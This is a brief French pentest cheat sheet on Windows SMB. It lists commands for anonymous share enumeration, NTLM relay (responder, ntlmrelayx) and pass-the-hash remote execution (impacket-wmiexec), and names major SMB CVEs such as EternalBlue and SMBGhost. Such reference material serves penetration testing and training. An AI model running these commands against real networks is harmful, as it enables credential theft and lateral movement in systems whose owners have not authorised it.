SMB — Partage de fichiers Windows

TCP 445 AD / Mouvements latéraux

Qu'est-ce que SMB ?

SMB (Server Message Block) est le protocole Windows pour partager fichiers et imprimantes. Cible principale en pentest Active Directory pour les mouvements latéraux et le vol de hashes. SMBv1 est dangereux (WannaCry 2017).

Énumération et exploitation

# Accès anonyme
smbclient -L //target -N
netexec smb target -u "" -p "" --shares

# NTLM Relay
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
responder -I eth0 -dwv
ntlmrelayx.py -tf targets.txt -smb2support

# Pass-the-Hash
impacket-wmiexec -hashes :NTLM_HASH admin@target

CVE majeures

EternalBlue MS17-010 RCE SMBv1, WannaCry
SMBGhost CVE-2020-0796 RCE SMBv3 sans auth
CVE-2024-43451 Fuite de hash NTLM